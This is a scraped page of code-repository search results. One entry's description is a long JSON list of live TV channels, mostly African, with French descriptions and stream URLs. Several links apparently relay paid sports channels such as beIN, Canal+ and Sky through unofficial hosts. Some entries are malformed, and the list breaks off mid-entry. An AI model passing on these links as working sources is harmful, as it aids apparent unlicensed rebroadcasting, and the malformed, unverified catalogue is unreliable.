145 skills found · Page 2 of 5
binded / Cloud CacheNode.js persistent caching module with pluggable backing store (local file system, Amazon S3, Google Drive / Cloud, PostgreSQL...) and streaming API
GoogleCloudPlatform / Knfsd Cache UtilsA set of utilities for building, deploying and operating a high performance NFS Cache in Google Cloud. This is designed to be used for certain HPC and burst compute use-cases where there is a requirement for a high performance NFS cache between a NFS Server and its downstream NFS Clients.
alexlee002 / MmkvHigh performance KV cache component for iOS & OS X developers, Inspired by Tencent's blog post:https://cloud.tencent.com/developer/article/1066229
bermufine / Dcmp{"categories":[{"name":"Movies","videos":[{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["http://178.33.237.146/rtnc1.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","thumb":"https://od.lk/s/M18yNDU0Njk2MjZf/RTNC.jpegg","title":"RTNC"},{"description":"Tele Congo est une chaine nationale du congo brazza en diffusant des emissions, informations, sports, theatres, musique et autres....","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODYwMjFf/telecongo.jpg","title":"TELE CONGO TV / BRAZZAVILLE"},{"description":"Bein Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MzBf/beinone.png","title":"BEIN SPORT 1 / SPORTS"},{"description":"Bein Sport 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MThf/beintwo.png","title":"BEIN SPORT 2 / SPORTS"},{"description":"Bein Sport 3 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MDZf/beintree.png","title":"BEIN SPORTS 3 / SPORTS"},{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","https://od.lk/s/M18yNDU0Nzc4NDZf/rtnc3.png","title":"RTNC 1 / RDC (lien2)"},{"description":"Canal Plus Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/cpsport/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzhf/canalsport.png","title":"CANAL + 1 / SPORTS"},{"description":"Canal Plus Sports 2 est une chaine televisee sportives.","sources":["https://stream.mmsiptv.com/droid/cplus/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzlf/canalsporttwoo.jpg","title":"CANAL + 2 / SPORTS"},{"description":"RMC 1 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MjBf/rmcone.png","title":"RMC 1 / SPORTS"},{"description":"RMC 2 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MzVf/rmctwo.png","title":"RMC 2 / SPORTS"},{"description":"RMC 3 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NDVf/rmctree.png","title":"RMC 3 / SPORTS"},{"description":"RMC 4 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc4/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NTFf/rmcfour.png","title":"RMC 4 / SPORTS"},{"description":"EuroSports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport2/playlist.m3u"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxOTlf/eurone.png","title":"EUROSPORTS 1 / SPORTS"},{"description":"EuroSports 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxNTdf/eurotwo.jpg","title":"EUROSPORTS 2 / SPORTS"},{"description":"EuroSports 3 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/eurosport1.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxODJf/eurotree.jpg","title":"EUROSPORTS 3 / SPORTS"},{"description":"EuroSports 4 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/es-eurosport2.stream/playlist.m3u8"],"subtitle":"By Channel","https://od.lk/s/M18yNTkxODgxMzJf/eurofour.png","title":"EUROSPORTS 4 / SPORTS"},{"description":"L'Equipe est une chaine televisee sportives emettant en France","sources":["https://stream.mmsiptv.com/droid/equipe/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg0ODhf/equipe.png","title":"L'EQUIPE TV / SPORTS"},{"description":"Sky Sport est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/skysports-premier-league.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg2MjNf/skysport.jpg","title":"SKY SPORTS / SPORTS"},{"description":"Azam Sports 1 Tanzanie est l'une des chaines privées que l'on retrouve en tanzanie, possédant des émissions Sportives variées","sources":["https://1446000130.rsc.cdn77.org/1446000130/index.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzQwMjJf/azam.jpg","title":"AZAM SPORTS / TANZANIA"},{"description":"ADSPORTS 1 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn1.cdn.mangomolo.com/adsports1/smil:adsports1.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg4OTlf/adone.jpg","title":"ADSPORTS 1 / SPORTS"},{"description":"ADSPORTS 2 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn5.cdn.mangomolo.com/adsports2/smil:adsports2.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5MjFf/adtwo.jpg","title":"ADSPORTS 2 / SPORTS"},{"description":"ADSPORTS 3 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn3.cdn.mangomolo.com/adsports3/smil:adsports3.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5NTBf/adtree.jpg","title":"ADSPORTS 3 / SPORTS"},{"description":"MAV TV est une chaine televisee sportives emettant a Dubai","sources":["https://mavtv-mavtvglobal-1-gb.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODkzNTZf/mavtv.png","title":"MAV TV / SPORTS"},{"description":"NollyWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/nollywoodfr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODk3MDhf/nollywood.jpg","title":"NOLLYWOOD TV / NOVELAS"},{"description":"AfricaWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/africawood/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1Nzc2ODJf/vision4.jpg","title":"AFRICAWOOD TV / NOVELAS"},{"description":"NOVELAS TV 1 est une chaine televisee qui diffuse que des series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/novelas/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxOTAwMDFf/novelasone.jpg","title":"NOVELAS TV 1 / SERIE"},{"description":"RTI 2 est une chaine televisee ivoiriens qui diffuse que des informations, musiques, series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/rti2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4NDdf/rtid.jpg","title":"RTI 2 / COTE D'IVOIRE"},{"description":"NOVELAS TV est la chaine qui diffuset des Series Mexicaines, Philipiennes et Bresiliennes....","sources":["https://stormcast-telenovelatv-1-fr.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjA4MDVf/novelastv.jpg","title":"NOVELAS TV{"description":"NW INFOS est la chaine du togo en diffusant des Informations Emissions et autres....","sources":["https://hls.newworldtv.com/nw-info/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NzNf/nwInfos.jpg","title":"NW INFOS TV / TOGO"},{"description":"NW Muzik est la chaine du togo en diffusant des musiques Africaine et autres....","sources":["https://hls.newworldtv.com/nw-muzik/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NTZf/nwMuzik.webp","title":"NW MUZIK TV / TOGO"},{"description":"Al Hadath est la chaine du Lybie en diffusant des Emissions ainsi que des infos, musique et autres....","sources":["https://master.starmena-cloud.com/hls/hd.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjcxNDBf/alhad.png","title":"AL HADATH TV / LYBIE"},{"description":"Vox Of Africa est la chaine des americains qui emette a Brazzaville en diffusant des informations et autres....","sources":["https://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY1NDFf/VOX_AFRICA.jpg","title":"VOX OF AFRICA TV"},{"description":"Resurrection TV est l'une des chaines privées Chretienne que l'on retrouve dans la ville d'ACCRA, possédant des émissions variées","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzczODRf/mychannel.jpg","title":"RESURRECTION TV / GHANA"},{"description":"CDIRECT TV est la chaîne une chaîne généraliste présente une vitrine positive du Congo, conçoit des programmes inédits et innovants qui s'adressent aux congolais résidents, la diaspora congolaise, ainsi qu'à l'ensemble des africains francophones à travers le monde entier. Sa ligne éditoriale est axée sur les deux Congo décomplexé, un Congo qui va de l'avant et gagne !.","sources":["http://cms-streamaniak.top/Cdirect/CDIRECT/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdirect.tv/assets/img/logo-cdirect.ico","title":"CDIRECT TV / Kinshasa-Brazzaville"},{"description":"DBM TV ou digital black Music est une Chaîne TV à thématique musicale, DBM a pour vocation de révéler et promouvoir la musique Afro Urbaine, qu’elle soit d’Afrique ou d’ailleurs info@dbm-tv.com. .","sources":["https://dbmtv.vedge.infomaniak.com/livecast/smil:dbmtv.smil/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://www.dbm-tv.fr/wp-content/uploads/2017/12/logo-dbm.png","title":"DBM TV / Music "},{"description":"La LUMIÈRE, ministère Chrétien pour annoncer l’évangile de Jésus Christ partout dans le monde, toucher changer et sauver des vies par la puissance de la parole de DIEU avec des enseignements prédications adorations louanges partages de prières, d’exhortations et de témoignages","sources":["https://video1.getstreamhosting.com:1936/8248/8248/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.shortpixel.ai/client/q_glossy,ret_img,w_124,h_124/https://telepack.net/wp-content/uploads/2020/05/lumiere-tv.png","title":"La Lumiere TV / Gospel"},{"description":"La Télévision Togolaise (TVT) est le nom de l'unique chaîne de télévision publique togolaise, Crée depuis 1979.","sources":["http://54.38.92.12/tvt.m3u8"],"subtitle":"By Google","thumb":"https://amp.live-tv-channels.org/pt-data/uploads/logo/tg-tv.jpg","title":"Télévision Togolais"},{"description":"CRTV est un service de radio et de télévision contrôlé par le gouvernement au Cameroun. Cela a commencé sous le nom de Cameroon Television (CTV) et a ensuite fusionné avec le service de radio pour devenir CRTV. Il couvre l'ensemble des dix régions du Cameroun, ce qui en fait le diffuseur indomptable parmi plusieurs chaînes de télévision privées du pays. Sa couverture des événements est généralement considérée comme pro-gouvernementale. Les programmes de la CRTV comprennent des documentaires, des magazines, des analyses d'actualités et des séries importées d'Asie et du Brésil..","sources":["http://178.33.237.146/crtv.m3u8"],"subtitle":"By Channel","thumb":"http://www.cameroonconcordnews.com/wp-content/uploads/2018/03/CRTV-new.jpg","title":"Cameroune Radio Télévision"},{"description":"Impact TV c'est une premiere Chaine televisee chretienne diffusant au Burkina-Fasso sur satelite innauguree le 07/03/2008 par Marie Sophie.","sources":["https://edge10.vedge.infomaniak.com/livecast/impacttele/chunklist_w973675047.m3u8"],"subtitle":"By Channel","thumb":"https://i1.wp.com/www.livetvliveradio.com/wp-content/uploads/2017/07/impact-tv.jpg?fit=259%2C194","title":"Impact TV / Burkina Fasso"},{"description":"Kigali Channel 2 ( Là pour vous) est une chaine televisee Rwandaise emmetant a Kigali. KC2 se diversite par sa diffusion des emitions exceptionnelle ainsi que des films nouveautes et plein d'autres.","sources":["https://5c46fa289c89f.streamlock.net/kc2/kc2/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQfQjI8jUhMPReWg0MOdw1xpAAXMP7YAuZKBg&usqp=CAU","title":"KC2 TV / Rwanda"},{"description":"Equinox est une chaîne de télévision basée au Cameroun. Peu de temps après son lancement, il est devenu l'un des critiques les plus virulents du régime de Paul Biya. La station était connue pour avoir diffusé des images en direct d'une manifestation politique contre le changement constitutionnel au Cameroun qui favorisait le maintien au pouvoir du président Biya après 2011, alors qu'il lui était interdit par la Constitution de se présenter à nouveau. La télévision appartient au magnat des affaires de la région ouest du Cameroun, Severin Tchounke, qui possède également un quotidien critique, La Nouvelle Expression.","sources":["http://178.33.237.146/equinoxetv.m3u8"],"subtitle":"By Channel","thumb":"https://camer-press.com/wp-content/uploads/2020/04/Equinoxe-Tv.jpg","title":"Equinoxetv"},{"description":"Rwanda Télévision (RTV) est la premiere chaîne public du Rwanda qui fournit des informations et des divertissements quotidiens au public rwandais en trois langues: anglais, français et kinyarwanda géré par l'industrie de la télévision rwandaise , mais ce derniere est composée de 12 chaînes de télévision dont 84% télévisions sont détenues par des privés (10 sur 12) tandis que 8% appartiennent respectivement à des organisations publiques et religieuses. L'Agence nationale de radiodiffusion rwandaise.","sources":["https://5c46fa289c89f.streamlock.net/rtv/rtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://maps.prodafrica.com/wp-content/uploads/2020/03/10191_RBA_002.png","title":"RTV"},{"description":"IBN TV est un radiodiffuseur islamique de télévision et de radio qui transmet IBN TV et Radio Maarifa de Dar es Salaam et Tanga respectivement. Il a été crée sous la direction de la Fondation Al Itrah et a été diffusé officiellement depuis Mars 2003. IBN TV est un média privé qui a commencé après la libéralisation de l’industrie des médias en Tanzanie. IBN TV est la première chaîne islamique en Tanzanie. Il couvre presque toute la région de Dar es Salaam, Tanga, Arusha et Mwanza. IBN TV diffuse en quatre langues différentes, à savoir l’anglais, le swahili, le gujarati et l’ourdou.","sources":["http://138.68.138.119:8080/low/5a8993709ea19/index.m3u8"],"subtitle":"By Channel","thumb":"http://www.alitrah.co.tz/wp-content/uploads/sites/3/2015/10/ibntvafrica.png","title":"IBN TV"},{"description":"RTB est une chaîne de télévision publique générale dirigée par l’Établissement public d’État. Son siège social est situé dans la capitale du Burkina Faso, à Ouagadougou. Il est diffusé en direct à la télévision terrestre et sur Internet. Cette chaîne africaine diffuse des nouvelles télévisées en Français. Mais en général, les flashs de nouvelles sont dans la langue nationale comme Lobiri, Bwamu, Gulmancéma ainsi que Bissa. RTB offre un programme avec de nombreux magazines sur le sport, l’économie, la culture, la santé et la jeunesse.","sources":["https://edge8.vedge.infomaniak.com/livecast/ik:rtbtvlive1/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/c/c0/RTB_Sukmaindera.png","title":"Radio Television Burkina Fasso"},{"description":"Eri-TV est une chaîne de télévision érythréenne appartenant à l'État. Basée dans la capitale du pays, Asmara, elle diffuse 24 heures sur 24. La station propose des bulletins d'information 24 heures sur 24, des émissions-débats et des programmes culturels et éducatifs. Eri-TV a une large base d'audience en dehors de l'Érythrée, que la chaîne publique reconnaît et utilise pour communiquer avec les Érythréens vivant à l'étranger. Le réseau compte environ 1 à 2 millions de téléspectateurs par semaine. Eri-TV reconnaît la culture minoritaire érythréenne et a largement adopté un partage de temps égal entre chacune des langues parlées du pays.","sources":["http://217.182.137.206/eri.m3u8"],"subtitle":"By Channel","thumb":"https://eri.tv/images/eri-tv-live.png","title":"ERITRIE TV"},{"description":"Créée au Sénégal par le GROUPE D-MEDIA, SENTV, 1ère Chaîne Urbaine au Sénégal, consacre sa programmation au traitement de l'actualité nationale et internationale et à la culture urbaine sénégalaise et africaine en générale. Elle émet sur hertzien depuis 2009 et est désormais disponible sur satellite via le bouquet Canal + Afrique et les bouquets IPTV à l'international. Une chaîne généraliste et orientée urbaine, constituant ainsi une offre originale et unique au Sénégal. Une part importante de ses programmes est constituée par des rendez-vous d’actualité sur une rythmique quotidienne et des émissions phares orientées Société et Divertissement.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://www.xalat.info/wp-content/uploads/2019/02/maxresdefault-2.jpg","title":"SENEGAL TV"},{"description":"RTB diffuse des emissions ainsi que les Sports, Musique, Culture et Films d'Action.","sources":["http://46.105.114.82/rtb1.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/bf-rtb-tv-8682.jpg","title":"RTB"},{"description":"LEEEKO est un ensemble de médias web radio et tv, créé le 1er Decembre 2016 par Serges OLUBI, passionné de musiques. LEEEKO diffuse une diversité des musique telsque: Rhumba, Zouk, Ndombolo, Rnb, Classic, Jazz et autres à travers l'Afrique.","sources":["http://livetvsteam.com:1935/leeeko/leeeko/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is2-ssl.mzstatic.com/image/thumb/Purple113/v4/c9/76/95/c9769524-8604-49ac-108e-efca1d025a99/source/512x512bb.jpg","title":"LEEKO MUSIQUE TV"},{"description":"La Radio Télévision Guinéenne (RTG), l’un des premiers organes de presse public du pays, est absente dans plusieurs villes de l’intérieur du pays. Et ce après 42 ans depuis sa création. Par endroits, les signaux de la RTG sont totalement absents depuis plusieurs années. Par contre, dans certaines préfectures, malgré la réception des signaux, faute d’énergie, les populations sont privées des émissions de la RTG, a-t-on constaté.","sources":["http://178.33.237.146/rtg.m3u8"],"subtitle":"By Blender Channel","thumb":"http://maliactu.info/wp-content/uploads/2019/08/rtg-radio-television-guineenne.png","title":"Radio Television Guinéenne "},{"description":"MTA Africa 1 (anciennement MTA Africa) est la quatrième chaîne de télévision par satellite du réseau MTA International. Il a été lancé début août 2016, diffusant spécifiquement pour les téléspectateurs africains, à travers l'Afrique et l'Europe. La chaîne a été créée sous les auspices de Mirza Masroor Ahmad, le chef spirituel de la communauté musulmane Ahmadiyya. MTA Africa est géré et financé volontairement par les Ahmadis.","sources":["https://ooyalahd2-f.akamaihd.net/i/mtaengaudio_delivery@138280/index_3000_av-p.m3u8"],"subtitle":"By Blender Channel","thumb":"https://pbs.twimg.com/profile_images/950498775893774338/XKhzDO2.jpg","title":"MTA AFRICA"},{"description":"L’Office de Radiodiffusion et Télévision du Bénin (ORTB) est le service public de l’audiovisuel du Bénin. C’est un établissement public à caractères social, culturel et scientifique doté de la personnalité morale et de l’autonomie financière. ORTB, pas sans vous !/ Tél: +229 21 30 00 48/ Whatsapp: +229 69 70 55 55/ Email: contact@ortb.bj","sources":["http://51.77.223.83/ortb.m3u8"],"subtitle":"By Channel","thumb":"https://www.lavoixduconsommateur.org/images/services/1533219563.jpg","title":"ORTB / Bénin"},{"description":"Dream Channel est une chaine télévisée ematant au cameroune qui diffuse de la musique de toutes tendances.","sources":["http://connectiktv.ddns.net:5000/dreamchannel/dreamchannel/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://connectik.tv/wp-content/uploads/2019/06/c1b45634-2f8c-47e7-8849-e6d7ea620465-300x169.jpg","title":"DREAM CHANNEL TV / Cameroune"},{"description":"Canal Algérie est la deuxième chaîne de télévision nationale grand public algérienne. La chaîne fait partie du groupe EPTV qui comprend également TV1, TV3, TV4, TV5, TV6 et TV7. C'est une chaîne francophone. La chaîne diffuse ses programmes 24h / 24 et 7j / 7 via différentes plateformes et partout dans le monde.","sources":["http://46.105.114.82/canal_algerie.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/2/22/Logo_Canal_Algerie.svg/800px-Logo_Canal_Algerie.svg.png","title":"Canal Algerie"},{"description":"Radio Télévision Sénegalaise est une station de radio diffusée sur le réseau de Radiodiffusion Télévision Sénégalaise (RTS1 HD) de Dakar, au Sénégal, fournissant des informations, des sports, des débats, des émissions en direct et des informations sur la culture ainsi que la musique.","sources":["http://46.105.114.82/rts1.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/VZyPxURRRo-C0lEWHggT8C-dDJvFNFTVxKrn1yKUNROoT85XnOl9VcmM5HFzyRDwvgs","title":"Radio Télévision Sénegalaise 1 HD"},{"description":"Kalsan est une chaîne de télévision Somalienne dont le siège est à Londres. Elle a commencé à diffuser en 2013. La chaîne est axée sur les Somaliens. La programmation est principalement axée sur les actualités et les divertissements.","sources":["http://cdn.mediavisionuae.com:1935/live/kalsantv.stream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://xogdoonnews.net/wp-content/uploads/2017/11/kalsan-tv.jpg","title":"KALSAN TV / Somalie"},{"description":"One Africa Television est une chaine de television namibien crée en 2003 et couvrant à l'origine uniquement Windhoek, Rehoboth et Okahandja, One Africa Television a connu une croissance significative, avec son signal diffusé via 29 émetteurs analogiques à travers la Namibie. En 2013, One Africa Television a rejoint l'ère numérique, et la chaîne est depuis disponible sur le réseau de télévision numérique terrestre de la Namibian Broadcasting Corporation (Channel 301) ainsi que sur la plateforme DStv Namibia de MultiChoice (Channel 284) ainsi que sur le réseau numérique terrestre GoTV de MultiChoice. Président du groupe d'Africa Television, Paul van Schalkwyk, a été tué dans un accident d'avion le 10 mars 2014.","sources":["https://za-tv2a-wowza-origin02.akamaized.net/oneafrica/smil:oneafrica/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://neweralive.na/uploads/2016/11/Untitled-1.jpg","title":"ONE AFRICA TV / Namibia"},{"description":"VISION4 TV est une chaine television panafricanisme Camerounais crée en 2008. qui diffuse des Émissions hauts de gamme telsque : Afro Café, Matinale infos, le journal d'afrique, tour d'horizon, journal de 12, women's story, The 6h00 pm news, Let's talk, Meeting point le grand live, le grand journal de 20h, santé spirituelle, sport time, Arrêt majeur, Au cœur du mystère, parole d'artistes, Femme attitude, Panafritude, Rendez-vous santé, afro zik, Club d'élites, Plateau du Jaguar, Dimanche bonheur, face aux dinosaures. Vision 4 Le Groupe Anecdote Vision 4 TV, Satelite FM, Africa Express Siège social : Yaoundé - Cameroun (Nsam) Secrétariat PDG : Tel : +237 242 71 88 13 / Fax : +237 222 31 67 81 Service de l'information : Tel : +237 242 71 87 68 Yaoundé Centre B.P 25070 Cameroun","sources":["http://cdnamd-hls-globecast.akamaized.net/live/ramdisk/vision4/hls_video/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Vision_4.jpg/600px-Vision_4.jpg","title":"VISION 4"},{"description":"Nago TV is a Haitian television channel 100% devoted to music videos(Compass, Rap Creole, Racine).","sources":["http://haititivi.com:8088/haititv/tele6NY/index.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/GdAVtX7AU8834RaKoUC4c3itv2A_R1k8XATBf26G_IgQKnvxEtAew0cJOr_kWOpWkpY","title":"NAGO TV / Haiti"},{"description":"Lagos Television has been a trail blazer right from inception. Apart from being the first TV station outside the NTA family, the station took the Nigerian TV industry by storm in the early 80s with the introduction of a 60-hour non stop weekend from 7pm on Fridays till 7am on Mondays. The then Lagos weekend Television was the first marathon TV station in Africa. It’s unprecedented public approval transformed TV viewership especially within the Lagos precinct and brought a change in the call sign LTV/LWT.","sources":["http://185.105.4.193:1935/ltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lagostelevision.com/wp-content/uploads/2015/10/logo.png","title":"Lagos Television"},{"description":"Emmanuel TV is the television station of The Synagogue, Church Of All Nations, broadcasting 24/7 around the globe via satellite and on the internet. The purpose of Emmanuel TV is to preach the Good News to all mankind. That is what we are born for, living for and what we shall die for. Emmanuel TV is committed to changing lives, changing nations and changing the whole world through the Gospel of our Lord Jesus Christ. Jesus Christ is the inspiration behind Emmanuel TV; as such, God’s purpose is our purpose.","sources":["https://api.new.livestream.com/accounts/23202872/events/7200883/live.m3u8"],"subtitle":"By Channel","thumb":"https://scoan-website-emmanueltv.netdna-ssl.com/wp-content/blogs.dir/12/files/2016/09/emmanuel_tv_icon.png","title":"Emmanuel TV"},{"description":"Addis TV is a City Channel based in Addis Ababa, Ethiopia, which broadcasts News and Programs 24/7.","sources":["https://rrsatrtmp.tulix.tv/addis1/addis1multi.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://et.heytv.org/wp-content/uploads/2019/04/Addis-webtvonlive-com.jpg","title":"Addis TV / Ethiopia"},{"description":"Resurrection TV is a Christian based station aimed at uplifting your soul with an unadulterated word of God. it ensures a distinction between sin and righteousness.","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/f5/ae/9ef5aeb5c1ddd05a20d27faaf5d9b931.jpg","title":"Résurrection TV/ Ghana"},{"description":"CTV frique est une television camerounaise basee a yaounde.","sources":["http://connectiktv.ddns.me:8080/ctv-africa/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/01/CTV-1-300x212.jpeg","title":"CTV AFRICA"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["http://connectiktv.ddns.me:8080/afriqueplustv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/07/NEW-LOGO0047_00000_00000-300x169.png","title":"AFRICA PLUS TV "},{"description":"1 ok.","sources":["http://connectiktv.ddns.me:8080/mygospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mygospel-300x140.png","title":"MY GOSPEL TV"},{"description":"2 ok.","sources":["http://connectiktv.ddns.me:8080/media-prime/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myprime15-300x140.png","title":"MEDIA PRIME TV"},{"description":"3 ok.","sources":["http://connectiktv.ddns.me:8080/mymusic/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mymusic1.png","title":"MY MUSIC TV "},{"description":"4 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-en/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myenglish-300x140.png","title":"MY MOVIE TV / English"},{"description":"5 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-fr/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myfresh-300x140.png","title":"MY MOVIE TV / Francais"},{"description":"6 ok","sources":["http://connectiktv.ddns.me:8080/bikutsitv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/09/bikutsi-300x63.jpeg","title":"BIKUTSI TV"},{"description":"7 ok.","sources":["http://connectiktv.ddns.me:8080/cam10tv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/07/CAM10-REVUE.jpg","title":"CAM 10 TV / Cameroune"},{"description":"8 ok.","sources":["http://connectiktv.ddns.me:8080/leadergospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/leader-cable.jpg","title":"LEADER GOSPEL TV / Religion"},{"description":"9 ok.","sources":["http://connectiktv.ddns.me:8080/vstv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/VS-TV-300x168.jpg","title":"VS tv"},{"description":"10 0k.","sources":["http://connectiktv.ddns.me:8080/mytv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/mytv-channel-hd-300x169.jpg","title":"MY TV CHANNEL"},{"description":"Radio Tele Puissance est une chaine chrétienne qui diffuse en direct des programmes chrétien avec des vidéos et des films 